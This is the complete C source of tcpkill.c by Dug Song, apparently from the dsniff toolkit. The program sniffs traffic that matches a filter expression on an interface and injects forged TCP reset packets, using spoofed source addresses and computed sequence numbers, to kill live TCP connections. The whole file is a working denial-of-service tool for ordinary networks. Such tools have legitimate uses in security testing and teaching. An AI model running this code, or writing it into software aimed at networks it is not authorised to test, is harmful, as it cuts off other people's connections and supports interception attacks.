tcpkill.c

/*
 * tcpkill.c
 *
 * Kill TCP connections already in progress.
 *
 * Copyright (c) 2000 Dug Song <dugsong@monkey.org>
 *
 * $Id: tcpkill.c,v 1.17 2001/03/17 08:10:43 dugsong Exp $
 */

#include "config.h"

#include <sys/types.h>

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <err.h>
#include <libnet.h>
#include <pcap.h>

#include "pcaputil.h"
#include "version.h"

#define DEFAULT_SEVERITY	3

int	Opt_severity = DEFAULT_SEVERITY;
int	pcap_off;

static void
usage(void)
{
	fprintf(stderr, "Version: " VERSION "\n"
		"Usage: tcpkill [-i interface] [-1..9] expression\n");
	exit(1);
}

static void
tcp_kill_cb(u_char *user, const struct pcap_pkthdr *pcap, const u_char *pkt)
{
	struct libnet_ip_hdr *ip;
	struct libnet_tcp_hdr *tcp;
	u_char ctext[64], buf[IP_H + TCP_H];
	u_int32_t seq, win;
	int i, *sock, len;

	sock = (int *)user;
	pkt += pcap_off;
	len = pcap->caplen - pcap_off;

	ip = (struct libnet_ip_hdr *)pkt;
	if (ip->ip_p != IPPROTO_TCP)
		return;
	
	tcp = (struct libnet_tcp_hdr *)(pkt + (ip->ip_hl << 2));
	if (tcp->th_flags & (TH_SYN|TH_FIN|TH_RST))
		return;

	libnet_build_ip(TCP_H, 0, 0, 0, 64, IPPROTO_TCP,
			ip->ip_dst.s_addr, ip->ip_src.s_addr,
			NULL, 0, buf);

	libnet_build_tcp(ntohs(tcp->th_dport), ntohs(tcp->th_sport),
			 0, 0, TH_RST, 0, 0, NULL, 0, buf + IP_H);
	
	seq = ntohl(tcp->th_ack);
	win = ntohs(tcp->th_win);
	
	snprintf(ctext, sizeof(ctext), "%s:%d > %s:%d:",
		 libnet_host_lookup(ip->ip_src.s_addr, 0),
		 ntohs(tcp->th_sport),
		 libnet_host_lookup(ip->ip_dst.s_addr, 0),
		 ntohs(tcp->th_dport));
	
	ip = (struct libnet_ip_hdr *)buf;
	tcp = (struct libnet_tcp_hdr *)(ip + 1);
	
	for (i = 0; i < Opt_severity; i++) {
		ip->ip_id = libnet_get_prand(PRu16);
		seq += (i * win);
		tcp->th_seq = htonl(seq);
		
		libnet_do_checksum(buf, IPPROTO_TCP, TCP_H);
		
		if (libnet_write_ip(*sock, buf, sizeof(buf)) < 0)
			warn("write_ip");
		
		fprintf(stderr, "%s R %lu:%lu(0) win 0\n", ctext, seq, seq);
	}
}

int
main(int argc, char *argv[])
{
	extern char *optarg;
	extern int optind;
	int c, sock;
	char *p, *intf, *filter, ebuf[PCAP_ERRBUF_SIZE];
	pcap_t *pd;
	
	intf = NULL;
	
	while ((c = getopt(argc, argv, "i:123456789h?V")) != -1) {
		switch (c) {
		case 'i':
			intf = optarg;
			break;
		case '0': case '1': case '2': case '3': case '4':
		case '5': case '6': case '7': case '8': case '9':
			p = argv[optind - 1];
			if (p[0] == '-' && p[1] == c && p[2] == '\0')
				Opt_severity = atoi(++p);
			else
				Opt_severity = atoi(argv[optind] + 1);
			break;
		default:
			usage();
			break;
		}
	}
	if (intf == NULL && (intf = pcap_lookupdev(ebuf)) == NULL)
		errx(1, "%s", ebuf);

	argc -= optind;
	argv += optind;
	
	if (argc == 0)
		usage();
	
	filter = copy_argv(argv);
	
	if ((pd = pcap_init(intf, filter, 64)) == NULL)
		errx(1, "couldn't initialize sniffing");

	if ((pcap_off = pcap_dloff(pd)) < 0)
		errx(1, "couldn't determine link layer offset");
	
	if ((sock = libnet_open_raw_sock(IPPROTO_RAW)) == -1)
		errx(1, "couldn't initialize sending");
	
	libnet_seed_prand();
	
	warnx("listening on %s [%s]", intf, filter);
	
	pcap_loop(pd, -1, tcp_kill_cb, (u_char *)&sock);
  
	/* NOTREACHED */
	
	exit(0);
}